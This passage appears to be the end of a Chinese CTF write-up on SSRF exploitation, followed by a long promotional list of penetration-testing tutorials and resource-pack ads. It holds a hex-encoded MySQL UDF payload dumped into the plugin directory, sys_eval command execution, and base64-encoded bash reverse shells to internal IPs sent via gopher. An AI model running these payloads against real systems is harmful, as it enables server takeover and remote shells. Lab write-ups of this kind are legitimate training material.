30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%62%31%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%31%37%32%30%30%30%30%30%30%30%30%30%30%30%38%30%31%37%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%62%37%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%38%31%37%32%30%30%30%30%30%30%30%30%30%30%30%38%38%31%37%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%62%63%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%38%31%37%30%30%30%30%30%30%30%30%30%30%30%30%39%62%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%33%31%38%30%30%30%30%30%30%30%30%30%30%30%30%63%35%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%20%49%4e%54%4f%20%44%55%4d%50%46%49%4c%45%20%27%2f%75%73%72%2f%6c%69%62%2f%6d%79%73%71%6c%2f%70%6c%75%67%69%6e%2f%75%64%66%2e%73%6f%27%01%00%00%00%01
然后创建自定义函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';``#导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:``select * from mysql.func;``#删除自定义函数``drop function sys_eva``#通过创建的这个函数来执行系统命令``select sys_eval('whoami');``#反弹shell``select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY1LjI1NC8yMzMzIDA+JjE=|base64 -d|bash -i');``以上都需要进行编码使用gopher协议发送请求
最后拿到shell 查看flag
10.SSRF攻击内网Fastcgi
首先生成payload
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjM3LjEyOC8yMzMzIDA+JjE=|base64 -d|bash -i
然后使用gopher协议去发送请求
最后反弹shell拿到flag
黑客/网络安全学习路线
对于从来没有接触过黑客/网络安全的同学,目前网络安全、信息安全也是计算机大学生毕业薪资相对较高的学科。
大白也帮大家准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
这也是耗费了大白近四个月的时间,吐血整理,文章非常非常长,觉得有用的话,希望粉丝朋友帮忙点个**「分享」「收藏」「在看」「赞」**
网络安全/渗透测试法律法规必知必会****
今天大白就帮想学黑客/网络安全技术的朋友们入门必须先了解法律法律。
【网络安全零基础入门必知必会】什么是黑客、白客、红客、极客、脚本小子?(02)
【网络安全零基础入门必知必会】网络安全专业术语全面解析(05)
【网络安全入门必知必会】《中华人民共和国网络安全法》(06)
【网络安全零基础入门必知必会】《计算机信息系统安全保护条例》(07)
【网络安全零基础入门必知必会】《中国计算机信息网络国际联网管理暂行规定》(08)
【网络安全零基础入门必知必会】《计算机信息网络国际互联网安全保护管理办法》(09)
【网络安全零基础入门必知必会】《互联网信息服务管理办法》(10)
【网络安全零基础入门必知必会】《计算机信息系统安全专用产品检测和销售许可证管理办法》(11)
【网络安全零基础入门必知必会】《通信网络安全防护管理办法》(12)
【网络安全零基础入门必知必会】《中华人民共和国国家安全法》(13)
【网络安全零基础入门必知必会】《中华人民共和国数据安全法》(14)
【网络安全零基础入门必知必会】《中华人民共和国个人信息保护法》(15)
【网络安全零基础入门必知必会】《网络产品安全漏洞管理规定》(16)
网络安全/渗透测试linux入门必知必会
【网络安全零基础入门必知必会】什么是Linux?Linux系统的组成与版本?什么是命令(01)
【网络安全零基础入门必知必会】VMware下载安装,使用VMware新建虚拟机,远程管理工具(02)
【网络安全零基础入门必知必会】VMware常用操作指南(非常详细)零基础入门到精通,收藏这一篇就够了(03)
【网络安全零基础入门必知必会】CentOS7安装流程步骤教程(非常详细)零基入门到精通,收藏这一篇就够了(04)
【网络安全零基础入门必知必会】Linux系统目录结构详细介绍(05)
【网络安全零基础入门必知必会】Linux 命令大全(非常详细)零基础入门到精通,收藏这一篇就够了(06)
【网络安全零基础入门必知必会】linux安全加固(非常详细)零基础入门到精通,收藏这一篇就够了(07)
网络安全/渗透测试****计算机网络入门必知必会****
【网络安全零基础入门必知必会】TCP/IP协议深入解析(非常详细)零基础入门到精通,收藏这一篇就够了(01)
【网络安全零基础入门必知必会】什么是HTTP数据包&Http数据包分析(非常详细)零基础入门到精通,收藏这一篇就够了(02)
【网络安全零基础入门必知必会】计算机网络—子网划分、子网掩码和网关(非常详细)零基础入门到精通,收藏这一篇就够了(03)
网络安全/渗透测试入门之HTML入门必知必会
【网络安全零基础入门必知必会】什么是HTML&HTML基本结构&HTML基本使用(非常详细)零基础入门到精通,收藏这一篇就够了1
【网络安全零基础入门必知必会】VScode、PhpStorm的安装使用、Php的环境配置,零基础入门到精通,收藏这一篇就够了2
【网络安全零基础入门必知必会】HTML之编写登录和文件上传(非常详细)零基础入门到精通,收藏这一篇就够了3
网络安全/渗透测试入门之Javascript入门必知必会
【网络安全零基础入门必知必会】Javascript语法基础(非常详细)零基础入门到精通,收藏这一篇就够了(01)
【网络安全零基础入门必知必会】Javascript实现Post请求、Ajax请求、输出数据到页面、实现前进后退、文件上传(02)
网络安全/渗透测试入门之Shell入门必知必会
【网络安全零基础入门必知必会】Shell编程基础入门(非常详细)零基础入门到精通,收藏这一篇就够了(第七章)
网络安全/渗透测试入门之PHP入门必知必会
【网络安全零基础入门】PHP环境搭建、安装Apache、安装与配置MySQL(非常详细)零基础入门到精通,收藏这一篇就够(01)
【网络安全零基础入门】PHP基础语法(非常详细)零基础入门到精通,收藏这一篇就够了(02)
【网络安全零基础入门必知必会】PHP+Bootstrap实现表单校验功能、PHP+MYSQL实现简单的用户注册登录功能(03)
网络安全/渗透测试入门之MySQL入门必知必会
【网络安全零基础入门必知必会】MySQL数据库基础知识/安装(非常详细)零基础入门到精通,收藏这一篇就够了(01)
【网络安全零基础入门必知必会】SQL语言入门(非常详细)零基础入门到精通,收藏这一篇就够了(02)
【网络安全零基础入门必知必会】MySQL函数使用大全(非常详细)零基础入门到精通,收藏这一篇就够了(03)
【网络安全零基础入门必知必会】MySQL多表查询语法(非常详细)零基础入门到精通,收藏这一篇就够了(04)
****网络安全/渗透测试入门之Python入门必知必会
【网络安全零基础入门必知必会】之Python+Pycharm安装保姆级教程,Python环境配置使用指南,收藏这一篇就够了【1】
【网络安全零基础入门必知必会】之Python编程入门教程(非常详细)零基础入门到精通,收藏这一篇就够了(2)
python入门教程python开发基本流程控制if … else
python入门教程之python开发可变和不可变数据类型和hash
【网络安全零基础入门必知必会】之10个python爬虫入门实例(非常详细)零基础入门到精通,收藏这一篇就够了(3)
****网络安全/渗透测试入门之SQL注入入门必知必会
【网络安全渗透测试零基础入门必知必会】之初识SQL注入(非常详细)零基础入门到精通,收藏这一篇就够了(1)
【网络安全渗透测试零基础入门必知必会】之SQL手工注入基础语法&工具介绍(2)
【网络安全渗透测试零基础入门必知必会】之SQL注入实战(非常详细)零基础入门到精通,收藏这一篇就够了(3)
【网络安全渗透测试零基础入门必知必会】之SQLmap安装&实战(非常详细)零基础入门到精通,收藏这一篇就够了(4)
【网络安全渗透测试零基础入门必知必会】之SQL防御(非常详细)零基础入门到精通,收藏这一篇就够了(4)
****网络安全/渗透测试入门之XSS攻击入门必知必会
【网络安全渗透测试零基础入门必知必会】之XSS攻击基本概念和原理介绍(非常详细)零基础入门到精通,收藏这一篇就够了(1)
网络安全渗透测试零基础入门必知必会】之XSS攻击获取用户cookie和用户密码(实战演示)零基础入门到精通收藏这一篇就够了(2)
【网络安全渗透测试零基础入门必知必会】之XSS攻击获取键盘记录(实战演示)零基础入门到精通收藏这一篇就够了(3)
【网络安全渗透测试零基础入门必知必会】之xss-platform平台的入门搭建(非常详细)零基础入门到精通,收藏这一篇就够了4
【网络安全渗透测试入门】之XSS漏洞检测、利用和防御机制XSS游戏(非常详细)零基础入门到精通,收藏这一篇就够了5
****网络安全/渗透测试入门文件上传攻击与防御入门必知必会
【网络安全渗透测试零基础入门必知必会】之什么是文件包含漏洞&分类(非常详细)零基础入门到精通,收藏这一篇就够了1
【网络安全渗透测试零基础入门必知必会】之cve实际漏洞案例解析(非常详细)零基础入门到精通, 收藏这一篇就够了2
【网络安全渗透测试零基础入门必知必会】之PHP伪协议精讲(文件包含漏洞)零基础入门到精通,收藏这一篇就够了3
【网络安全渗透测试零基础入门必知必会】之如何搭建 DVWA 靶场保姆级教程(非常详细)零基础入门到精通,收藏这一篇就够了4
【网络安全渗透测试零基础入门必知必会】之Web漏洞-文件包含漏洞超详细全解(附实例)5
【网络安全渗透测试零基础入门必知必会】之文件上传漏洞修复方案6
****网络安全/渗透测试入门CSRF渗透与防御必知必会
【网络安全渗透测试零基础入门必知必会】之CSRF漏洞概述和原理(非常详细)零基础入门到精通, 收藏这一篇就够了1
【网络安全渗透测试零基础入门必知必会】之CSRF攻击的危害&分类(非常详细)零基础入门到精通, 收藏这一篇就够了2
【网络安全渗透测试零基础入门必知必会】之XSS与CSRF的区别(非常详细)零基础入门到精通, 收藏这一篇就够了3
【网络安全渗透测试零基础入门必知必会】之CSRF漏洞挖掘与自动化工具(非常详细)零基础入门到精通,收藏这一篇就够了4
【网络安全渗透测试零基础入门必知必会】之CSRF请求伪造&Referer同源&置空&配合XSS&Token值校验&复用删除5
****网络安全/渗透测试入门SSRF渗透与防御必知必会
【网络安全渗透测试零基础入门必知必会】之SSRF漏洞概述及原理(非常详细)零基础入门到精通,收藏这一篇就够了 1
【网络安全渗透测试零基础入门必知必会】之SSRF相关函数和协议(非常详细)零基础入门到精通,收藏这一篇就够了2
【网络安全渗透测试零基础入门必知必会】之SSRF漏洞原理攻击与防御(非常详细)零基础入门到精通,收藏这一篇就够了3**
**
****网络安全/渗透测试入门XXE渗透与防御必知必会
【网络安全渗透测试零基础入门必知必会】之XML外部实体注入(非常详细)零基础入门到精通,收藏这一篇就够了1
网络安全渗透测试零基础入门必知必会】之XXE的攻击与危害(非常详细)零基础入门到精通,收藏这一篇就够了2
【网络安全渗透测试零基础入门必知必会】之XXE漏洞漏洞及利用方法解析(非常详细)零基础入门到精通,收藏这一篇就够了3
【网络安全渗透测试零基础入门必知必会】之微信XXE安全漏洞处理(非常详细)零基础入门到精通,收藏这一篇就够了4
****网络安全/渗透测试入门远程代码执行渗透与防御必知必会
【网络安全渗透测试零基础入门必知必会】之远程代码执行原理介绍(非常详细)零基础入门到精通,收藏这一篇就够了1
【网络安全零基础入门必知必会】之CVE-2021-4034漏洞原理解析(非常详细)零基础入门到精通,收藏这一篇就够了2
【网络安全零基础入门必知必会】之PHP远程命令执行与代码执行原理利用与常见绕过总结3
【网络安全零基础入门必知必会】之WEB安全渗透测试-pikachu&DVWA靶场搭建教程,零基础入门到精通,收藏这一篇就够了4
****网络安全/渗透测试入门反序列化渗透与防御必知必会
【网络安全零基础入门必知必会】之什么是PHP对象反序列化操作(非常详细)零基础入门到精通,收藏这一篇就够了1
【网络安全零基础渗透测试入门必知必会】之php反序列化漏洞原理解析、如何防御此漏洞?如何利用此漏洞?2
【网络安全渗透测试零基础入门必知必会】之Java 反序列化漏洞(非常详细)零基础入门到精通,收藏这一篇就够了3
【网络安全渗透测试零基础入门必知必会】之Java反序列化漏洞及实例解析(非常详细)零基础入门到精通,收藏这一篇就够了4
【网络安全渗透测试零基础入门必知必会】之CTF题目解析Java代码审计中的反序列化漏洞,以及其他漏洞的组合利用5
网络安全/渗透测试**入门逻辑漏洞必知必会**
【网络安全渗透测试零基础入门必知必会】之一文带你0基础挖到逻辑漏洞(非常详细)零基础入门到精通,收藏这一篇就够了
网络安全/渗透测试入门暴力猜解与防御必知必会
【网络安全渗透测试零基础入门必知必会】之密码安全概述(非常详细)零基础入门到精通,收藏这一篇就够了1
【网络安全渗透测试零基础入门必知必会】之什么样的密码是不安全的?(非常详细)零基础入门到精通,收藏这一篇就够了2
【网络安全渗透测试零基础入门必知必会】之密码猜解思路(非常详细)零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之利用Python暴力破解邻居家WiFi密码、压缩包密码,收藏这一篇就够了4
【网络安全渗透测试零基础入门必知必会】之BurpSuite密码爆破实例演示,零基础入门到精通,收藏这一篇就够了5
【网络安全渗透测试零基础入门必知必会】之Hydra密码爆破工具使用教程图文教程,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之暴力破解medusa,零基础入门到精通,收藏这一篇就够了7
【网络安全渗透测试零基础入门必知必会】之Metasploit抓取密码,零基础入门到精通,收藏这一篇就够了8
****网络安全/渗透测试入门掌握Redis未授权访问漏洞必知必会
【网络安全渗透测试零基础入门必知必会】之Redis未授权访问漏洞,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之Redis服务器被攻击后该如何安全加固,零基础入门到精通,收藏这一篇就够了**
**
网络安全/渗透测试入门掌握**ARP渗透与防御关必知必会**
【网络安全渗透测试零基础入门必知必会】之ARP攻击原理解析,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之ARP流量分析,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之ARP防御策略与实践指南,零基础入门到精通,收藏这一篇就够了
网络安全/渗透测试入门掌握系统权限提升渗透与防御关****必知必会
【网络安全渗透测试零基础入门必知必会】之Windows提权常用命令,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之Windows权限提升实战,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之linux 提权(非常详细)零基础入门到精通,收藏这一篇就够了
网络安全/渗透测试入门掌握Dos与DDos渗透与防御相关****必知必会
【网络安全渗透测试零基础入门必知必会】之DoS与DDoS攻击原理(非常详细)零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之Syn-Flood攻击原理解析(非常详细)零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之IP源地址欺骗与dos攻击,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之SNMP放大攻击原理及实战演示,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之NTP放大攻击原理,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之什么是CC攻击?CC攻击怎么防御?,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之如何防御DDOS的攻击?零基础入门到精通,收藏这一篇就够了
网络安全/渗透测试入门掌握无线网络安全渗透与防御相关****必知必会
【网络安全渗透测试零基础入门必知必会】之Aircrack-ng详细使用安装教程,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之aircrack-ng破解wifi密码(非常详细)零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之WEB渗透近源攻击,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之无线渗透|Wi-Fi渗透思路,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之渗透WEP新思路Hirte原理解析,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之WPS的漏洞原理解析,零基础入门到精通,收藏这一篇就够了
网络安全/渗透测试入门掌握木马免杀问题与防御********必知必会
【网络安全渗透测试零基础入门必知必会】之Metasploit – 木马生成原理和方法,零基础入门到精通,收藏这篇就够了
【网络安全渗透测试零基础入门必知必会】之MSF使用教程永恒之蓝漏洞扫描与利用,收藏这一篇就够了
网络安全/渗透测试入门掌握Vulnhub靶场实战********必知必会
【网络安全渗透测试零基础入门必知必会】之Vulnhub靶机Prime使用指南,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之Vulnhub靶场Breach1.0解析,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之vulnhub靶场之DC-9,零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之Vulnhub靶机Kioptrix level-4 多种姿势渗透详解,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之Vulnhub靶场PWNOS: 2.0 多种渗透方法,收藏这一篇就够了
网络安全/渗透测试入门掌握社会工程学必知必会
【网络安全渗透测试零基础入门必知必会】之什么是社会工程学?定义、类型、攻击技术,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之社会工程学之香农-韦弗模式,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之社工学smcr通信模型,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之社会工程学之社工步骤整理(附相应工具下载)收藏这一篇就够了
网络安全/渗透测试入门掌握********渗透测试工具使用******必知必会**
2024版最新Kali Linux操作系统安装使用教程(非常详细)零基础入门到精通,收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之渗透测试工具大全之Nmap安装使用命令指南,零基础入门到精通,收藏这一篇就够了
2024版最新AWVS安装使用教程(非常详细)零基础入门到精通,收藏这一篇就够了
2024版最新burpsuite安装使用教程(非常详细)零基础入门到精通,收藏这一篇就够了
2024版最新owasp_zap安装使用教程(非常详细)零基础入门到精通,收藏这一篇就够了
2024版最新Sqlmap安装使用教程(非常详细)零基础入门到精通,收藏这一篇就够了
2024版最新Metasploit安装使用教程(非常详细)零基础入门到精通,收藏这一篇就够了
2024版最新Nessus下载安装激活使用教程(非常详细)零基础入门到精通,收藏这一篇就够了
2024版最新Wireshark安装使用教程(非常详细)零基础入门到精通,收藏这一篇就够了
觉得有用的话,希望粉丝朋友帮大白点个**「分享」「收藏」「在看」「赞」**
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取